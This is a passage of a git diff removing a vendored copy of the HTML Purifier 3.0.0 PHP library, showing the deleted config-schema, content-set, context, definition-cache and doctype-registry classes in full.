$def->defaults[$namespace][$name] !== null && - !isset($directive->allowed[$def->defaults[$namespace][$name]]) - ) { - trigger_error('Default value must be in allowed range of variables', - E_USER_ERROR); - $directive->allowed = true; // undo undo! - return; - } - } - - /** - * Defines a directive alias for backwards compatibility - * @param $namespace - * @param $name Directive that will be aliased - * @param $new_namespace - * @param $new_name Directive that the alias will be to - */ - public static function defineAlias($namespace, $name, $new_namespace, $new_name) { - $def =& HTMLPurifier_ConfigSchema::instance(); - if (HTMLPURIFIER_SCHEMA_STRICT) { - if (!isset($def->info[$namespace])) { - trigger_error('Cannot define directive alias in undefined namespace', - E_USER_ERROR); - return; - } - if (!ctype_alnum($name)) { - trigger_error('Directive name must be alphanumeric', - E_USER_ERROR); - return; - } - if (isset($def->info[$namespace][$name])) { - trigger_error('Cannot define alias over directive', - E_USER_ERROR); - return; - } - if (!isset($def->info[$new_namespace][$new_name])) { - trigger_error('Cannot define alias to undefined directive', - E_USER_ERROR); - return; - } - if ($def->info[$new_namespace][$new_name]->class == 'alias') { - trigger_error('Cannot define alias to alias', - E_USER_ERROR); - return; - } - } - $def->info[$namespace][$name] = - new HTMLPurifier_ConfigDef_DirectiveAlias( - $new_namespace, $new_name); - $def->info[$new_namespace][$new_name]->directiveAliases[] = "$namespace.$name"; - } - - /** - * Validate a variable according to type. Return null if invalid. - * @todo Consider making protected - */ - public function validate($var, $type, $allow_null = false) { - if (!isset($this->types[$type])) { - trigger_error('Invalid type', E_USER_ERROR); - return; - } - if ($allow_null && $var === null) return null; - switch ($type) { - case 'mixed': - //if (is_string($var)) $var = unserialize($var); - return $var; - case 'istring': - case 'string': - case 'text': // no difference, just is longer/multiple line string - case 'itext': - if (!is_string($var)) break; - if ($type === 'istring' || $type === 'itext') $var = strtolower($var); - return $var; - case 'int': - if (is_string($var) && ctype_digit($var)) $var = (int) $var; - elseif (!is_int($var)) break; - return $var; - case 'float': - if (is_string($var) && is_numeric($var)) $var = (float) $var; - elseif (!is_float($var)) break; - return $var; - case 'bool': - if (is_int($var) && ($var === 0 || $var === 1)) { - $var = (bool) $var; - } elseif (is_string($var)) { - if ($var == 'on' || $var == 'true' || $var == '1') { - $var = true; - } elseif ($var == 'off' || $var == 'false' || $var == '0') { - $var = false; - } else { - break; - } - } elseif (!is_bool($var)) break; - return $var; - case 'list': - case 'hash': - case 'lookup': - if (is_string($var)) { - // special case: technically, this is an array with - // a single empty string item, but having an empty - // array is more intuitive - if ($var == '') return array(); - if (strpos($var, "\n") === false && strpos($var, "\r") === false) { - // simplistic string to array method that only works - // for simple lists of tag names or alphanumeric characters - $var = explode(',',$var); - } else { - $var = preg_split('/(,|[\n\r]+)/', $var); - } - // remove spaces - foreach ($var as $i => $j) $var[$i] = trim($j); - if ($type === 'hash') { - // key:value,key2:value2 - $nvar = array(); - foreach ($var as $keypair) { - $c = explode(':', $keypair, 2); - if (!isset($c[1])) continue; - $nvar[$c[0]] = $c[1]; - } - $var = $nvar; - } - } - if (!is_array($var)) break; - $keys = array_keys($var); - if ($keys === array_keys($keys)) { - if ($type == 'list') return $var; - elseif ($type == 'lookup') { - $new = array(); - foreach ($var as $key) { - $new[$key] = true; - } - return $new; - } else break; - } - if ($type === 'lookup') { - foreach ($var as $key => $value) { - $var[$key] = true; - } - } - return $var; - } - $error = new HTMLPurifier_Error(); - return $error; - } - - /** - * Takes an absolute path and munges it into a more manageable relative path - * @todo Consider making protected - * @param $filename Filename to check - * @return string munged filename - */ - public function mungeFilename($filename) { - if (!HTMLPURIFIER_SCHEMA_STRICT) return $filename; - $offset = strrpos($filename, 'HTMLPurifier'); - $filename = substr($filename, $offset); - $filename = str_replace('\\', '/', $filename); - return $filename; - } - - /** - * Checks if var is an HTMLPurifier_Error object - * @todo Consider making protected - */ - public function isError($var) { - if (!is_object($var)) return false; - if (!($var instanceof HTMLPurifier_Error)) return false; - return true; - } -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ContentSets.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ContentSets.php deleted file mode 100644 index d0b46e4..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ContentSets.php +++ /dev/null @@ -1,149 +0,0 @@ -<?php - -// common defs that we'll support by default -require_once 'HTMLPurifier/ChildDef.php'; -require_once 'HTMLPurifier/ChildDef/Empty.php'; -require_once 'HTMLPurifier/ChildDef/Required.php'; -require_once 'HTMLPurifier/ChildDef/Optional.php'; -require_once 'HTMLPurifier/ChildDef/Custom.php'; - -/** - * @todo Unit test - */ -class HTMLPurifier_ContentSets -{ - - /** - * List of content set strings (pipe seperators) indexed by name. - */ - public $info = array(); - - /** - * List of content set lookups (element => true) indexed by name. - * @note This is in HTMLPurifier_HTMLDefinition->info_content_sets - */ - public $lookup = array(); - - /** - * Synchronized list of defined content sets (keys of info) - */ - protected $keys = array(); - /** - * Synchronized list of defined content values (values of info) - */ - protected $values = array(); - - /** - * Merges in module's content sets, expands identifiers in the content - * sets and populates the keys, values and lookup member variables. - * @param $modules List of HTMLPurifier_HTMLModule - */ - public function __construct($modules) { - if (!is_array($modules)) $modules = array($modules); - // populate content_sets based on module hints - // sorry, no way of overloading - foreach ($modules as $module_i => $module) { - foreach ($module->content_sets as $key => $value) { - if (isset($this->info[$key])) { - // add it into the existing content set - $this->info[$key] = $this->info[$key] . ' | ' . $value; - } else { - $this->info[$key] = $value; - } - } - } - // perform content_set expansions - $this->keys = array_keys($this->info); - foreach ($this->info as $i => $set) { - // only performed once, so infinite recursion is not - // a problem - $this->info[$i] = - str_replace( - $this->keys, - // must be recalculated each time due to - // changing substitutions - array_values($this->info), - $set); - } - $this->values = array_values($this->info); - - // generate lookup tables - foreach ($this->info as $name => $set) { - $this->lookup[$name] = $this->convertToLookup($set); - } - } - - /** - * Accepts a definition; generates and assigns a ChildDef for it - * @param $def HTMLPurifier_ElementDef reference - * @param $module Module that defined the ElementDef - */ - public function generateChildDef(&$def, $module) { - if (!empty($def->child)) return; // already done! - $content_model = $def->content_model; - if (is_string($content_model)) { - $def->content_model = str_replace( - $this->keys, $this->values, $content_model); - } - $def->child = $this->getChildDef($def, $module); - } - - /** - * Instantiates a ChildDef based on content_model and content_model_type - * member variables in HTMLPurifier_ElementDef - * @note This will also defer to modules for custom HTMLPurifier_ChildDef - * subclasses that need content set expansion - * @param $def HTMLPurifier_ElementDef to have ChildDef extracted - * @return HTMLPurifier_ChildDef corresponding to ElementDef - */ - public function getChildDef($def, $module) { - $value = $def->content_model; - if (is_object($value)) { - trigger_error( - 'Literal object child definitions should be stored in '. - 'ElementDef->child not ElementDef->content_model', - E_USER_NOTICE - ); - return $value; - } - switch ($def->content_model_type) { - case 'required': - return new HTMLPurifier_ChildDef_Required($value); - case 'optional': - return new HTMLPurifier_ChildDef_Optional($value); - case 'empty': - return new HTMLPurifier_ChildDef_Empty(); - case 'custom': - return new HTMLPurifier_ChildDef_Custom($value); - } - // defer to its module - $return = false; - if ($module->defines_child_def) { // save a func call - $return = $module->getChildDef($def); - } - if ($return !== false) return $return; - // error-out - trigger_error( - 'Could not determine which ChildDef class to instantiate', - E_USER_ERROR - ); - return false; - } - - /** - * Converts a string list of elements separated by pipes into - * a lookup array. - * @param $string List of elements - * @return Lookup array of elements - */ - protected function convertToLookup($string) { - $array = explode('|', str_replace(' ', '', $string)); - $ret = array(); - foreach ($array as $i => $k) { - $ret[$k] = true; - } - return $ret; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Context.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Context.php deleted file mode 100644 index d3ca78a..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Context.php +++ /dev/null @@ -1,79 +0,0 @@ -<?php - -/** - * Registry object that contains information about the current context. - * @warning Is a bit buggy when variables are set to null: it thinks - * they don't exist! So use false instead, please. - */ -class HTMLPurifier_Context -{ - - /** - * Private array that stores the references. - */ - private $_storage = array(); - - /** - * Registers a variable into the context. - * @param $name String name - * @param $ref Variable to be registered - */ - public function register($name, &$ref) { - if (isset($this->_storage[$name])) { - trigger_error("Name $name produces collision, cannot re-register", - E_USER_ERROR); - return; - } - $this->_storage[$name] =& $ref; - } - - /** - * Retrieves a variable reference from the context. - * @param $name String name - * @param $ignore_error Boolean whether or not to ignore error - */ - public function &get($name, $ignore_error = false) { - if (!isset($this->_storage[$name])) { - if (!$ignore_error) { - trigger_error("Attempted to retrieve non-existent variable $name", - E_USER_ERROR); - } - $var = null; // so we can return by reference - return $var; - } - return $this->_storage[$name]; - } - - /** - * Destorys a variable in the context. - * @param $name String name - */ - public function destroy($name) { - if (!isset($this->_storage[$name])) { - trigger_error("Attempted to destroy non-existent variable $name", - E_USER_ERROR); - return; - } - unset($this->_storage[$name]); - } - - /** - * Checks whether or not the variable exists. - * @param $name String name - */ - public function exists($name) { - return isset($this->_storage[$name]); - } - - /** - * Loads a series of variables from an associative array - * @param $context_array Assoc array of variables to load - */ - public function loadArray($context_array) { - foreach ($context_array as $key => $discard) { - $this->register($key, $context_array[$key]); - } - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Definition.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Definition.php deleted file mode 100644 index 7de8b73..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Definition.php +++ /dev/null @@ -1,38 +0,0 @@ -<?php - -/** - * Super-class for definition datatype objects, implements serialization - * functions for the class. - */ -abstract class HTMLPurifier_Definition -{ - - /** - * Has setup() been called yet? - */ - public $setup = false; - - /** - * What type of definition is it? - */ - public $type; - - /** - * Sets up the definition object into the final form, something - * not done by the constructor - * @param $config HTMLPurifier_Config instance - */ - abstract protected function doSetup($config); - - /** - * Setup function that aborts if already setup - * @param $config HTMLPurifier_Config instance - */ - public function setup($config) { - if ($this->setup) return; - $this->setup = true; - $this->doSetup($config); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache.php deleted file mode 100644 index 93f149e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache.php +++ /dev/null @@ -1,114 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache/Serializer.php'; -require_once 'HTMLPurifier/DefinitionCache/Null.php'; - -require_once 'HTMLPurifier/DefinitionCache/Decorator.php'; -require_once 'HTMLPurifier/DefinitionCache/Decorator/Memory.php'; -require_once 'HTMLPurifier/DefinitionCache/Decorator/Cleanup.php'; - -/** - * Abstract class representing Definition cache managers that implements - * useful common methods and is a factory. - * @todo Create a separate maintenance file advanced users can use to - * cache their custom HTMLDefinition, which can be loaded - * via a configuration directive - * @todo Implement memcached - */ -abstract class HTMLPurifier_DefinitionCache -{ - - public $type; - - /** - * @param $name Type of definition objects this instance of the - * cache will handle. - */ - public function __construct($type) { - $this->type = $type; - } - - /** - * Generates a unique identifier for a particular configuration - * @param Instance of HTMLPurifier_Config - */ - public function generateKey($config) { - return $config->version . '-' . // possibly replace with function calls - $config->getBatchSerial($this->type) . '-' . - $config->get($this->type, 'DefinitionRev'); - } - - /** - * Tests whether or not a key is old with respect to the configuration's - * version and revision number. - * @param $key Key to test - * @param $config Instance of HTMLPurifier_Config to test against - */ - public function isOld($key, $config) { - if (substr_count($key, '-') < 2) return true; - list($version, $hash, $revision) = explode('-', $key, 3); - $compare = version_compare($version, $config->version); - // version mismatch, is always old - if ($compare != 0) return true; - // versions match, ids match, check revision number - if ( - $hash == $config->getBatchSerial($this->type) && - $revision < $config->get($this->type, 'DefinitionRev') - ) return true; - return false; - } - - /** - * Checks if a definition's type jives with the cache's type - * @note Throws an error on failure - * @param $def Definition object to check - * @return Boolean true if good, false if not - */ - public function checkDefType($def) { - if ($def->type !== $this->type) { - trigger_error("Cannot use definition of type {$def->type} in cache for {$this->type}"); - return false; - } - return true; - } - - /** - * Adds a definition object to the cache - */ - abstract public function add($def, $config); - - /** - * Unconditionally saves a definition object to the cache - */ - abstract public function set($def, $config); - - /** - * Replace an object in the cache - */ - abstract public function replace($def, $config); - - /** - * Retrieves a definition object from the cache - */ - abstract public function get($config); - - /** - * Removes a definition object to the cache - */ - abstract public function remove($config); - - /** - * Clears all objects from cache - */ - abstract public function flush($config); - - /** - * Clears all expired (older version or revision) objects from cache - * @note Be carefuly implementing this method as flush. Flush must - * not interfere with other Definition types, and cleanup() - * should not be repeatedly called by userland code. - */ - abstract public function cleanup($config); - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator.php deleted file mode 100644 index 0470b4b..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator.php +++ /dev/null @@ -1,63 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache.php'; - -class HTMLPurifier_DefinitionCache_Decorator extends HTMLPurifier_DefinitionCache -{ - - /** - * Cache object we are decorating - */ - public $cache; - - public function __construct() {} - - /** - * Lazy decorator function - * @param $cache Reference to cache object to decorate - */ - public function decorate(&$cache) { - $decorator = $this->copy(); - // reference is necessary for mocks in PHP 4 - $decorator->cache =& $cache; - $decorator->type = $cache->type; - return $decorator; - } - - /** - * Cross-compatible clone substitute - */ - public function copy() { - return new HTMLPurifier_DefinitionCache_Decorator(); - } - - public function add($def, $config) { - return $this->cache->add($def, $config); - } - - public function set($def, $config) { - return $this->cache->set($def, $config); - } - - public function replace($def, $config) { - return $this->cache->replace($def, $config); - } - - public function get($config) { - return $this->cache->get($config); - } - - public function remove($config) { - return $this->cache->remove($config); - } - - public function flush($config) { - return $this->cache->flush($config); - } - - public function cleanup($config) { - return $this->cache->cleanup($config); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php deleted file mode 100644 index 62acc04..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php +++ /dev/null @@ -1,44 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache/Decorator.php'; - -/** - * Definition cache decorator class that cleans up the cache - * whenever there is a cache miss. - */ -class HTMLPurifier_DefinitionCache_Decorator_Cleanup extends - HTMLPurifier_DefinitionCache_Decorator -{ - - public $name = 'Cleanup'; - - public function copy() { - return new HTMLPurifier_DefinitionCache_Decorator_Cleanup(); - } - - public function add($def, $config) { - $status = parent::add($def, $config); - if (!$status) parent::cleanup($config); - return $status; - } - - public function set($def, $config) { - $status = parent::set($def, $config); - if (!$status) parent::cleanup($config); - return $status; - } - - public function replace($def, $config) { - $status = parent::replace($def, $config); - if (!$status) parent::cleanup($config); - return $status; - } - - public function get($config) { - $ret = parent::get($config); - if (!$ret) parent::cleanup($config); - return $ret; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php deleted file mode 100644 index 793dbc6..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php +++ /dev/null @@ -1,47 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache/Decorator.php'; - -/** - * Definition cache decorator class that saves all cache retrievals - * to PHP's memory; good for unit tests or circumstances where - * there are lots of configuration objects floating around. - */ -class HTMLPurifier_DefinitionCache_Decorator_Memory extends - HTMLPurifier_DefinitionCache_Decorator -{ - - protected $definitions; - public $name = 'Memory'; - - public function copy() { - return new HTMLPurifier_DefinitionCache_Decorator_Memory(); - } - - public function add($def, $config) { - $status = parent::add($def, $config); - if ($status) $this->definitions[$this->generateKey($config)] = $def; - return $status; - } - - public function set($def, $config) { - $status = parent::set($def, $config); - if ($status) $this->definitions[$this->generateKey($config)] = $def; - return $status; - } - - public function replace($def, $config) { - $status = parent::replace($def, $config); - if ($status) $this->definitions[$this->generateKey($config)] = $def; - return $status; - } - - public function get($config) { - $key = $this->generateKey($config); - if (isset($this->definitions[$key])) return $this->definitions[$key]; - $this->definitions[$key] = parent::get($config); - return $this->definitions[$key]; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in deleted file mode 100644 index 62235e2..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in +++ /dev/null @@ -1,46 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache/Decorator.php'; - -/** - * Definition cache decorator template. - */ -class HTMLPurifier_DefinitionCache_Decorator_Template extends - HTMLPurifier_DefinitionCache_Decorator -{ - - var $name = 'Template'; // replace this - - function copy() { - // replace class name with yours - return new HTMLPurifier_DefinitionCache_Decorator_Template(); - } - - // remove methods you don't need - - function add($def, $config) { - return parent::add($def, $config); - } - - function set($def, $config) { - return parent::set($def, $config); - } - - function replace($def, $config) { - return parent::replace($def, $config); - } - - function get($config) { - return parent::get($config); - } - - function flush() { - return parent::flush(); - } - - function cleanup($config) { - return parent::cleanup($config); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Null.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Null.php deleted file mode 100644 index 0a5389d..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Null.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache.php'; - -/** - * Null cache object to use when no caching is on. - */ -class HTMLPurifier_DefinitionCache_Null extends HTMLPurifier_DefinitionCache -{ - - public function add($def, $config) { - return false; - } - - public function set($def, $config) { - return false; - } - - public function replace($def, $config) { - return false; - } - - public function remove($config) { - return false; - } - - public function get($config) { - return false; - } - - public function flush($config) { - return false; - } - - public function cleanup($config) { - return false; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Serializer.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Serializer.php deleted file mode 100644 index 1e7f1de..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCache/Serializer.php +++ /dev/null @@ -1,193 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache.php'; - -HTMLPurifier_ConfigSchema::define( - 'Cache', 'SerializerPath', null, 'string/null', ' -<p> - Absolute path with no trailing slash to store serialized definitions in. - Default is within the - HTML Purifier library inside DefinitionCache/Serializer. This - path must be writable by the webserver. This directive has been - available since 2.0.0. -</p> -'); - -class HTMLPurifier_DefinitionCache_Serializer extends - HTMLPurifier_DefinitionCache -{ - - public function add($def, $config) { - if (!$this->checkDefType($def)) return; - $file = $this->generateFilePath($config); - if (file_exists($file)) return false; - if (!$this->_prepareDir($config)) return false; - return $this->_write($file, serialize($def)); - } - - public function set($def, $config) { - if (!$this->checkDefType($def)) return; - $file = $this->generateFilePath($config); - if (!$this->_prepareDir($config)) return false; - return $this->_write($file, serialize($def)); - } - - public function replace($def, $config) { - if (!$this->checkDefType($def)) return; - $file = $this->generateFilePath($config); - if (!file_exists($file)) return false; - if (!$this->_prepareDir($config)) return false; - return $this->_write($file, serialize($def)); - } - - public function get($config) { - $file = $this->generateFilePath($config); - if (!file_exists($file)) return false; - return unserialize(file_get_contents($file)); - } - - public function remove($config) { - $file = $this->generateFilePath($config); - if (!file_exists($file)) return false; - return unlink($file); - } - - public function flush($config) { - if (!$this->_prepareDir($config)) return false; - $dir = $this->generateDirectoryPath($config); - $dh = opendir($dir); - while (false !== ($filename = readdir($dh))) { - if (empty($filename)) continue; - if ($filename[0] === '.') continue; - unlink($dir . '/' . $filename); - } - } - - public function cleanup($config) { - if (!$this->_prepareDir($config)) return false; - $dir = $this->generateDirectoryPath($config); - $dh = opendir($dir); - while (false !== ($filename = readdir($dh))) { - if (empty($filename)) continue; - if ($filename[0] === '.') continue; - $key = substr($filename, 0, strlen($filename) - 4); - if ($this->isOld($key, $config)) unlink($dir . '/' . $filename); - } - } - - /** - * Generates the file path to the serial file corresponding to - * the configuration and definition name - * @todo Make protected - */ - public function generateFilePath($config) { - $key = $this->generateKey($config); - return $this->generateDirectoryPath($config) . '/' . $key . '.ser'; - } - - /** - * Generates the path to the directory contain this cache's serial files - * @note No trailing slash - * @todo Make protected - */ - public function generateDirectoryPath($config) { - $base = $this->generateBaseDirectoryPath($config); - return $base . '/' . $this->type; - } - - /** - * Generates path to base directory that contains all definition type - * serials - * @todo Make protected - */ - public function generateBaseDirectoryPath($config) { - $base = $config->get('Cache', 'SerializerPath'); - $base = is_null($base) ? HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer' : $base; - return $base; - } - - /** - * Convenience wrapper function for file_put_contents - * @param $file File name to write to - * @param $data Data to write into file - * @return Number of bytes written if success, or false if failure. - */ - private function _write($file, $data) { - static $file_put_contents; - if ($file_put_contents === null) { - $file_put_contents = function_exists('file_put_contents'); - } - if ($file_put_contents) { - return file_put_contents($file, $data); - } - $fh = fopen($file, 'w'); - if (!$fh) return false; - $status = fwrite($fh, $data); - fclose($fh); - return $status; - } - - /** - * Prepares the directory that this type stores the serials in - * @return True if successful - */ - private function _prepareDir($config) { - $directory = $this->generateDirectoryPath($config); - if (!is_dir($directory)) { - $base = $this->generateBaseDirectoryPath($config); - if (!is_dir($base)) { - trigger_error('Base directory '.$base.' does not exist, - please create or change using %Cache.SerializerPath', - E_USER_ERROR); - return false; - } elseif (!$this->_testPermissions($base)) { - return false; - } - mkdir($directory); - } elseif (!$this->_testPermissions($directory)) { - return false; - } - return true; - } - - /** - * Tests permissions on a directory and throws out friendly - * error messages and attempts to chmod it itself if possible - */ - private function _testPermissions($dir) { - // early abort, if it is writable, everything is hunky-dory - if (is_writable($dir)) return true; - if (!is_dir($dir)) { - // generally, you'll want to handle this beforehand - // so a more specific error message can be given - trigger_error('Directory '.$dir.' does not exist', - E_USER_ERROR); - return false; - } - if (function_exists('posix_getuid')) { - // POSIX system, we can give more specific advice - if (fileowner($dir) === posix_getuid()) { - // we can chmod it ourselves - chmod($dir, 0755); - return true; - } elseif (filegroup($dir) === posix_getgid()) { - $chmod = '775'; - } else { - // PHP's probably running as nobody, so we'll - // need to give global permissions - $chmod = '777'; - } - trigger_error('Directory '.$dir.' not writable, '. - 'please chmod to ' . $chmod, - E_USER_ERROR); - } else { - // generic error message - trigger_error('Directory '.$dir.' not writable, '. - 'please alter file permissions', - E_USER_ERROR); - } - return false; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCacheFactory.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCacheFactory.php deleted file mode 100644 index cdbeb1d..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DefinitionCacheFactory.php +++ /dev/null @@ -1,107 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache.php'; - -HTMLPurifier_ConfigSchema::define( - 'Cache', 'DefinitionImpl', 'Serializer', 'string/null', ' -This directive defines which method to use when caching definitions, -the complex data-type that makes HTML Purifier tick. Set to null -to disable caching (not recommended, as you will see a definite -performance degradation). This directive has been available since 2.0.0. -'); - -HTMLPurifier_ConfigSchema::defineAlias( - 'Core', 'DefinitionCache', - 'Cache', 'DefinitionImpl' -); - - -/** - * Responsible for creating definition caches. - */ -class HTMLPurifier_DefinitionCacheFactory -{ - - protected $caches = array('Serializer' => array()); - protected $implementations = array(); - protected $decorators = array(); - - /** - * Initialize default decorators - */ - public function setup() { - $this->addDecorator('Cleanup'); - } - - /** - * Retrieves an instance of global definition cache factory. - */ - public static function &instance($prototype = null) { - static $instance; - if ($prototype !== null) { - $instance = $prototype; - } elseif ($instance === null || $prototype === true) { - $instance = new HTMLPurifier_DefinitionCacheFactory(); - $instance->setup(); - } - return $instance; - } - - /** - * Registers a new definition cache object - * @param $short Short name of cache object, for reference - * @param $long Full class name of cache object, for construction - */ - public function register($short, $long) { - $this->implementations[$short] = $long; - } - - /** - * Factory method that creates a cache object based on configuration - * @param $name Name of definitions handled by cache - * @param $config Instance of HTMLPurifier_Config - */ - public function &create($type, $config) { - $method = $config->get('Cache', 'DefinitionImpl'); - if ($method === null) { - $null = new HTMLPurifier_DefinitionCache_Null($type); - return $null; - } - if (!empty($this->caches[$method][$type])) { - return $this->caches[$method][$type]; - } - if ( - isset($this->implementations[$method]) && - class_exists($class = $this->implementations[$method], false) - ) { - $cache = new $class($type); - } else { - if ($method != 'Serializer') { - trigger_error("Unrecognized DefinitionCache $method, using Serializer instead", E_USER_WARNING); - } - $cache = new HTMLPurifier_DefinitionCache_Serializer($type); - } - foreach ($this->decorators as $decorator) { - $new_cache = $decorator->decorate($cache); - // prevent infinite recursion in PHP 4 - unset($cache); - $cache = $new_cache; - } - $this->caches[$method][$type] = $cache; - return $this->caches[$method][$type]; - } - - /** - * Registers a decorator to add to all new cache objects - * @param - */ - public function addDecorator($decorator) { - if (is_string($decorator)) { - $class = "HTMLPurifier_DefinitionCache_Decorator_$decorator"; - $decorator = new $class; - } - $this->decorators[$decorator->name] = $decorator; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Doctype.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Doctype.php deleted file mode 100644 index 673c6a3..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Doctype.php +++ /dev/null @@ -1,66 +0,0 @@ -<?php - -/** - * Represents a document type, contains information on which modules - * need to be loaded. - * @note This class is inspected by Printer_HTMLDefinition->renderDoctype. - * If structure changes, please update that function. - */ -class HTMLPurifier_Doctype -{ - /** - * Full name of doctype - */ - public $name; - - /** - * List of standard modules (string identifiers or literal objects) - * that this doctype uses - */ - public $modules = array(); - - /** - * List of modules to use for tidying up code - */ - public $tidyModules = array(); - - /** - * Is the language derived from XML (i.e. XHTML)? - */ - public $xml = true; - - /** - * List of aliases for this doctype - */ - public $aliases = array(); - - /** - * Public DTD identifier - */ - public $dtdPublic; - - /** - * System DTD identifier - */ - public $dtdSystem; - - public function __construct($name = null, $xml = true, $modules = array(), - $tidyModules = array(), $aliases = array(), $dtd_public = null, $dtd_system = null - ) { - $this->name = $name; - $this->xml = $xml; - $this->modules = $modules; - $this->tidyModules = $tidyModules; - $this->aliases = $aliases; - $this->dtdPublic = $dtd_public; - $this->dtdSystem = $dtd_system; - } - - /** - * Clones the doctype, use before resolving modes and the like - */ - public function copy() { - return unserialize(serialize($this)); - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DoctypeRegistry.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DoctypeRegistry.php deleted file mode 100644 index 4818ba1..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/DoctypeRegistry.php +++ /dev/null @@ -1,122 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Doctype.php'; - -// Legacy directives for doctype specification -HTMLPurifier_ConfigSchema::define( - 'HTML', 'Strict', false, 'bool', - 'Determines whether or not to use Transitional (loose) or Strict rulesets. '. - 'This directive is deprecated in favor of %HTML.Doctype. '. - 'This directive has been available since 1.3.0.' -); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'XHTML', true, 'bool', - 'Determines whether or not output is XHTML 1.0 or HTML 4.01 flavor. '. - 'This directive is deprecated in favor of %HTML.Doctype. '. - 'This directive was available since 1.1.' -); -HTMLPurifier_ConfigSchema::defineAlias('Core', 'XHTML', 'HTML', 'XHTML'); - -class HTMLPurifier_DoctypeRegistry -{ - - /** - * Hash of doctype names to doctype objects - */ - protected $doctypes; - - /** - * Lookup table of aliases to real doctype names - */ - protected $aliases; - - /** - * Registers a doctype to the registry - * @note Accepts a fully-formed doctype object, or the - * parameters for constructing a doctype object - * @param $doctype Name of doctype or literal doctype object - * @param $modules Modules doctype will load - * @param $modules_for_modes Modules doctype will load for certain modes - * @param $aliases Alias names for doctype - * @return Reference to registered doctype (usable for further editing) - */ - public function &register($doctype, $xml = true, $modules = array(), - $tidy_modules = array(), $aliases = array(), $dtd_public = null, $dtd_system = null - ) { - if (!is_array($modules)) $modules = array($modules); - if (!is_array($tidy_modules)) $tidy_modules = array($tidy_modules); - if (!is_array($aliases)) $aliases = array($aliases); - if (!is_object($doctype)) { - $doctype = new HTMLPurifier_Doctype( - $doctype, $xml, $modules, $tidy_modules, $aliases, $dtd_public, $dtd_system - ); - } - $this->doctypes[$doctype->name] =& $doctype; - $name = $doctype->name; - // hookup aliases - foreach ($doctype->aliases as $alias) { - if (isset($this->doctypes[$alias])) continue; - $this->aliases[$alias] = $name; - } - // remove old aliases - if (isset($this->aliases[$name])) unset($this->aliases[$name]); - return $doctype; - } - - /** - * Retrieves reference to a doctype of a certain name - * @note This function resolves aliases - * @note When possible, use the more fully-featured make() - * @param $doctype Name of doctype - * @return Reference to doctype object - */ - public function &get($doctype) { - if (isset($this->aliases[$doctype])) $doctype = $this->aliases[$doctype]; - if (!isset($this->doctypes[$doctype])) { - trigger_error('Doctype ' . htmlspecialchars($doctype) . ' does not exist', E_USER_ERROR); - $anon = new HTMLPurifier_Doctype($doctype); - return $anon; - } - return $this->doctypes[$doctype]; - } - - /** - * Creates a doctype based on a configuration object, - * will perform initialization on the doctype - * @note Use this function to get a copy of doctype that config - * can hold on to (this is necessary in order to tell - * Generator whether or 